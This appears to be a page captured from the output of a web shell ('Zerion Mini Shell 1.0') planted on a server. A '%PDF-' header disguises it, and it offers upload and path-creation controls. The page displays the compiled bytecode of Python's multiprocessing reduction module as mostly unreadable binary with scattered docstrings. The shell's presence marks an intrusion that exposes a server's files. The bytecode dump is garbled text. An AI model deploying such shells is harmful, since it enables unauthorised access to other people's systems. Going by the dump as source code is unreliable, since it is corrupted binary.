%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/lib/python3.5/multiprocessing/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/lib/python3.5/multiprocessing/__pycache__/reduction.cpython-35.pyc



|�g��@s�ddlZddlZddlZddlZddlZddlZddlZddlmZdddddgZ	ej
d	kp�eed
�o�eed�o�eejd�ZGd
d�dej
�ZejZddd�Zej
d	krfe	dddg7Z	ddlZdddd�Zdd�Zdd�Zdd�ZGdd�de�Znje	dddg7Z	ddlZej
dkZdd�Zdd�Zdd�Zdd�Zd d�Zd!d"�ZGd#d$�d$�Zeee�j �e�d%d&�Z!eee"j#�e!�eee$j%�e!�d'd(�Z&d)d*�Z'eej(e&�ej
d	kr�d+d,�Z)d-d.�Z*eeje)�n(d/d,�Z)d0d.�Z*eeje)�dS)1�N�)�context�send_handle�recv_handle�ForkingPickler�register�dumpZwin32�CMSG_LEN�
SCM_RIGHTS�sendmsgcsgeZdZdZiZejZ�fdd�Ze	dd��Z
e	ddd��Zej
Z
�S)	rz)Pickler subclass used by multiprocessing.cs9t�j|�|jj�|_|jj|j�dS)N)�super�__init__�_copyreg_dispatch_table�copy�dispatch_table�update�_extra_reducers)�self�args)�	__class__��//usr/lib/python3.5/multiprocessing/reduction.pyr
%szForkingPickler.__init__cCs||j|<dS)z&Register a reduce function for a type.N)r)�cls�type�reducerrrr*szForkingPickler.registerNcCs,tj�}|||�j|�|j�S)N)�io�BytesIOr�	getbuffer)r�obj�protocolZbufrrr�dumps/szForkingPickler.dumps)�__name__�
__module__�__qualname__�__doc__r�copyregrrr
�classmethodrr �pickle�loadsrr)rrr s	cCst||�j|�dS)z3Replacement for pickle.dump() using ForkingPickler.N)rr)r�filerrrrr9s�	DupHandle�	duplicate�steal_handleFcCs=|dkrtj�}tjtj�||d|tj�S)z<Duplicate a handle.  (target_process is a handle not a pid!)Nr)�_winapi�GetCurrentProcess�DuplicateHandle�DUPLICATE_SAME_ACCESS)�handleZtarget_processZinheritablerrrr+Fs
cCs]tjtjd|�}z0tj||tj�ddtjtjB�SWdtj|�XdS)z5Steal a handle from process identified by source_pid.FrN)r-�OpenProcess�PROCESS_DUP_HANDLEr/r.r0�DUPLICATE_CLOSE_SOURCE�CloseHandle)Z
source_pidr1Zsource_process_handlerrrr,NscCs&t|tj|�}|j|�dS)z&Send a handle over a local connection.N)r*r-r0�send)�connr1�destination_pidZdhrrrrZscCs|j�j�S)z)Receive a handle over a local connection.)�recv�detach)r7rrrr_sc@s1eZdZdZddd�Zdd�ZdS)r*zPicklable wrapper for a handle.Nc
Cs�|dkrtj�}tjtjd|�}z+tjtj�|||dd�|_Wdtj|�X||_	||_
dS)NFr)�os�getpidr-r2r3r/r.�_handler5�_access�_pid)rr1�access�pid�procrrrr
es		zDupHandle.__init__c
Cs{|jtj�kr|jStjtjd|j�}z/tj||jtj�|j	dtj
�SWdtj|�XdS)z1Get the handle.  This should only be called once.FN)r?r;r<r=r-r2r3r/r.r>r4r5)rrBrrrr:tszDupHandle.detach)r!r"r#r$r
r:rrrrr*cs�DupFd�sendfds�recvfds�darwincCs{tjd|�}tt|�dg�}|j|gtjtj|fg�trw|jd�dkrwt	d��dS)z,Send an array of fds over an AF_UNIX socket.�i�r�Az%did not receive acknowledgement of fdN)
�array�bytes�lenr�socket�
SOL_SOCKETr
�ACKNOWLEDGEr9�RuntimeError)�sockZfds�msgrrrrD�s
%cCsHtjd�}|j|}|jdtj|��\}}}}|rW|rWt�y�trm|jd�t|�dkr�t	dt|���|d\}}	}
|tj
kr|	tjkrt|
�|jdkr�t�|j
|
�t|�d|dkst�t|�SWnttfk
r7YnXt	d��dS)	z/Receive an array of fds over an AF_UNIX socket.rGrrIzreceived %d items of ancdatarrHzInvalid data receivedN)rJ�itemsizeZrecvmsgrMr	�EOFErrorrOr6rLrPrNr
�
ValueErrorZ	frombytes�AssertionError�list�
IndexError)rQ�size�aZ
bytes_sizerRZancdata�flagsZaddrZ
cmsg_levelZ	cmsg_typeZ	cmsg_datarrrrE�s,
'

 c
Cs?tj|j�tjtj��}t||g�WdQRXdS)z&Send a handle over a local connection.N)rM�fromfd�fileno�AF_UNIX�SOCK_STREAMrD)r7r1r8�srrrr�s$c
Cs@tj|j�tjtj��}t|d�dSWdQRXdS)z)Receive a handle over a local connection.rrN)rMr\r]r^r_rE)r7r`rrrr�s$cCsatj�}|dk	r.|j|j|��StrQddlm}|j|�Std��dS)zReturn a wrapper for an fd.Nr)�resource_sharerz&SCM_RIGHTS appears not to be available)rZget_spawning_popenrCZduplicate_for_child�HAVE_SEND_HANDLE�rarU)�fdZ	popen_objrarrrrC�s
cCsE|jdkr(t|j|jjffSt|j|jjffSdS)N)�__self__�getattrr�__func__r!)�mrrr�_reduce_method�sric@seZdZdd�ZdS)�_CcCsdS)Nr)rrrr�f�sz_C.fN)r!r"r#rkrrrrrj�srjcCst|j|jffS)N)rf�__objclass__r!)rhrrr�_reduce_method_descriptor�srmcCs"t|j|j|jpiffS)N)�_rebuild_partial�funcr�keywords)�prrr�_reduce_partial�srrcCstj|||�S)N)�	functools�partial)rorrprrrrn�srncCs#ddlm}t||�ffS)Nr)�	DupSocket)raru�_rebuild_socket)r`rurrr�_reduce_socket�srwcCs
|j�S)N)r:)Zdsrrrrv�srvcCs1t|j��}t||j|j|jffS)N)rCr]rv�familyr�proto)r`�dfrrrrw�scCs%|j�}tj|||d|�S)Nr])r:rM)rzrxrryrdrrrrv�s)+r%rsrr;r'rM�sysrcr�__all__�platform�hasattrrbZPicklerrrrr-r+r,rr�objectr*rJrOrDrErCrirjrrkrmrW�append�int�__add__rrrnrtrwrvrrrr�<module>
s^	#

Zerion Mini Shell 1.0